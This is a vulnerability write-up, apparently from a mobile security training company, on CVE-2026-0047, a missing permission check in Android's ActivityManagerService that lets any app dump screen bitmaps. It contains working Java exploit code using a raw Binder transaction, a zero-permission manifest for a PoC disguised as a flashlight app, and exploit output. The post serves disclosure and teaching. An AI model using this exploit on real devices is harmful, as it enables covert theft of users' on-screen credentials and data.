CVE-2026-0047: Stealing Screenshots from Every Running App with Zero Permissions
A missing permission check in Android’s ActivityManagerService lets any installed app silently dump bitmaps from every running process. We built a PoC that exfiltrates 63 PNG images — no permissions, no user interaction.
Discovered By
No external researcher credit is listed for CVE-2026-0047 in the March 2026 Android Security Bulletin. The fix was authored by Google’s Android Platform Security team as part of routine security review of the QPR2 beta branch.
TL;DR
| CVE | CVE-2026-0047 |
| Severity | Critical — CVSS 8.4 (AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Component | ActivityManagerService.dumpBitmapsProto() |
| Root Cause | Missing enforceCallingOrSelfPermission(DUMP) (CWE-280) |
| Impact | Any app steals UI bitmaps from all running apps → credential theft, EoP chain |
| Affected | Android 16 QPR2 Beta 1–3 (Baklava), patch level < 2026-03-01 |
| Patched | March 2026 Android Security Bulletin |
The Vulnerability
ActivityManagerService (AMS) is one of the most privileged system services in Android — it manages every running app, every process, every task. AMS exposes a family of dump*() methods over Binder IPC for diagnostics. These are gated behind android.permission.DUMP, a signature-level permission that only platform-signed apps and ADB can hold.
CVE-2026-0047 is the exception: dumpBitmapsProto() shipped without the permission check. Any app on the device can call it and receive protobuf-wrapped PNG bitmaps from every running process — icons, UI elements, and anything currently rendered on screen.
If you’re new to how Android manages inter-process communication and exported components, see Android Intent Security: Exploiting Exported Components and Deep Links for the necessary background.
Vulnerable Code (Simplified)
// ActivityManagerService.java — BEFORE the patch
@Override
public byte[] dumpBitmapsProto(String processName, int userId) {
// No enforceCallingOrSelfPermission(DUMP) here!
synchronized (mGlobalLock) {
return dumpBitmapsProtoLocked(processName, userId);
}
}
The Fix
// ActivityManagerService.java — AFTER the patch
@Override
public byte[] dumpBitmapsProto(String processName, int userId) {
enforceCallingOrSelfPermission(
android.Manifest.permission.DUMP,
"ActivityManagerService: dumpBitmapsProto"
);
synchronized (mGlobalLock) {
return dumpBitmapsProtoLocked(processName, userId);
}
}
Binder Call Flow — Before and After Patch
The patch inserts a permission gate that throws before any data is accessed.
The Attack: A Malicious “Flashlight” App
To demonstrate the real-world impact, we built a PoC disguised as a flashlight app. It declares zero Android permissions — no camera, no storage, no internet. On launch, it silently calls dumpBitmapsProto() via raw Binder and exfiltrates UI bitmaps from every running app.
Here is what makes this especially dangerous:
- No permissions requested — the user sees a clean install prompt with nothing suspicious
- No user interaction — the exfiltration runs automatically on first launch
- No visible indication — the app shows a working flashlight UI while silently dumping data
- No hidden API bypass needed — the exploit uses raw
IBinder.transact(), which completely bypasses Android’s hidden API restrictions on stock devices
If the victim has a banking app, email client, or password manager visible in the background, the attacker captures its rendered UI — including any displayed credentials, tokens, or sensitive data. This turns an information-disclosure bug into a credential-harvesting mechanism that can chain into full privilege escalation.
AndroidManifest.xml — Zero Permissions
<manifest xmlns:android="http://schemas.android.com/apk/res/android">
<!-- No permissions declared. At all. -->
<application android:label="Flashlight Pro">
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
Proof of Concept
Phase 1: Confirming the Bug
Transaction code #117 on the activity service maps to dumpBitmapsProto() in the IActivityManager Stub. Sending it with no arguments from an unprivileged shell causes a NullPointerException inside AMS — proving the method body executes without any permission check:
Result: Parcel(fffffffc ...NullPointerException...
at ActivityManagerService.dumpBitmapsProto(ActivityManagerService.java:16101)
at IActivityManager$Stub.onTransact(IActivityManager.java:4163)
# NPE, not SecurityException = NO permission check!
# A patched build throws SecurityException BEFORE the method body runs.
Phase 2: Exploiting via Raw Binder
We use IBinder.transact() to send a hand-crafted Parcel directly to AMS. This bypasses hidden API restrictions entirely — no hidden_api_policy setting needed. The arguments come from disassembling ActivityManagerShellCommand.runDumpBitmaps():
// AIDL wire format for dumpBitmapsProto (transaction #117):
// writeInterfaceToken("android.app.IActivityManager")
// writeInt(1) — non-null marker for Parcelable
// ParcelFileDescriptor.writeToParcel(data, 0) — pipe write end
// writeStringArray(filter) — empty = all processes
// writeInt(-2) — UserHandle.USER_CURRENT
// writeBoolean(true) — dump all foreground processes
// writeString("png") — bitmap compression format
The critical implementation detail is pipe management. AMS writes synchronously to the file descriptor — if the pipe buffer fills (64 KB) before anyone reads the other end, both sides deadlock. The reader thread must start before the Binder call:
// Get AMS binder — ServiceManager.getService is allowed on stock configs
IBinder amBinder = ServiceManager.getService("activity");
String descriptor = amBinder.getInterfaceDescriptor();
ParcelFileDescriptor[] pipe = ParcelFileDescriptor.createPipe();
// Reader thread — MUST start before transact to prevent deadlock
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Thread reader = new Thread(() -> {
FileInputStream fis = new FileInputStream(pipe[0].getFileDescriptor());
byte[] buf = new byte[65536];
int n;
while ((n = fis.read(buf)) > 0) bos.write(buf, 0, n);
});
reader.start();
// Invoker thread — raw Binder, no hidden API reflection
Thread invoker = new Thread(() -> {
try {
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken(descriptor);
data.writeInt(1); // non-null Parcelable marker
pipe[1].writeToParcel(data, 0); // ParcelFileDescriptor
data.writeStringArray(new String[]{}); // all processes
data.writeInt(-2); // USER_CURRENT
data.writeBoolean(true); // dump all
data.writeString("png"); // format
amBinder.transact(117, data, reply, 0); // dumpBitmapsProto
reply.readException();
data.recycle();
reply.recycle();
} finally {
pipe[1].close(); // signals EOF to reader
}
});
invoker.start();
invoker.join(15000);
reader.join(3000);
pipe[0].close();
byte[] stolenData = bos.toByteArray();
// stolenData contains protobuf with embedded PNGs from ALL running apps
Results
On a Baklava emulator (BP41.250725.007, patch 2025-08-05) with Settings, Clock, and Files open, the exploit returned 679,091 bytes of protobuf data containing 63 valid PNG images. These are the actual rendered bitmaps from every running app — all stolen by a zero-permission app.
[!] Call returned 679091 bytes
[!] NO SecurityException thrown!
[!] Missing enforceCallingOrSelfPermission(DUMP)
[!] Found 63 PNG image(s) in protobuf!
[!] These are screenshots of running apps.
# Stolen bitmaps include Settings UI, Files icons,
# Clock face, system icons, and 59 more UI elements.
# All extracted by a zero-permission app.
Extracting the PNGs is a matter of scanning for PNG magic bytes (89 50 4E 47) and IEND trailer (49 45 4E 44 AE 42 60 82).
Reproducing with exploit.sh
The PoC repository includes a single-shot script that automates the entire chain — emulator setup, APK build, installation, exploitation, and bitmap extraction:
# Full run: set up emulator, build, exploit, extract
$ ./exploit.sh --setup-emulator
# Already have a Baklava emulator?
$ ./exploit.sh
══════════════════════════════════════════
CVE-2026-0047 EXPLOIT RESULTS
══════════════════════════════════════════
Build: BP41.250725.007
Patch level: 2025-08-05
Raw protobuf: 679091 bytes
PNG files: 63 extracted
Permissions used: NONE
Output dir: ./stolen_bitmaps/
══════════════════════════════════════════
Detection and Mitigation
Check your security patch level — you need 2026-03-01 or later:
2026-03-01
Only Android 16 QPR2 Beta 1–3 (Baklava) builds are affected. Consumer devices on Android 14, 15, or the stable Android 16 release are not vulnerable to this specific CVE.
Takeaways
- The
dump*family is a rich attack surface. Android system services expose dozens ofdump*()andproto*()methods. Each one is a potential permission-check miss. When auditing AOSP, search for Binder-exposed methods that return protobuf and verify they callenforceCallingOrSelfPermission(DUMP). - QPR betas are high-value research targets. Quarterly Platform Release betas introduce new code paths that haven’t been through the same review cycle as stable releases. Running audit tools against QPR builds can surface bugs before they reach stable. Dynamic analysis with tools like Frida is especially useful here — see our guide on Frida Advanced Techniques: Runtime Hooking and Anti-Detection Bypass.
- CWE-280 keeps showing up. Improper Handling of Insufficient Permissions appears frequently in Android security bulletins. The pattern is always the same: a function intended for privileged callers is reachable by unprivileged code because the permission check was omitted.
Want to find vulnerabilities like this yourself? Mobile Hacking Lab teaches you to audit Android system services, analyze AOSP patches, and build working exploits:
- Free Android Security Labs — Hands-on labs covering real Android vulnerabilities
- Advanced Android Hacking — Chain multiple vulnerabilities to fully takeover a device
Also: automate your Android security assessments with Djini.ai — AI-powered mobile security testing that catches missing permission checks automatically.
References
- Android Security Bulletin — March 2026
- CVE-2026-0047 — National Vulnerability Database
- CWE-280: Improper Handling of Insufficient Permissions or Privileges
- AOSP: ActivityManagerService.java source
Ready to audit Android system services? Mobile Hacking Lab provides hands-on labs covering the exact vulnerability patterns that appear in Android Security Bulletins every month. Start with the free labs, then advance to Android Userland Fuzzing & Exploitation.
Company
Registration:
97390453
VAT:
NL868032281B01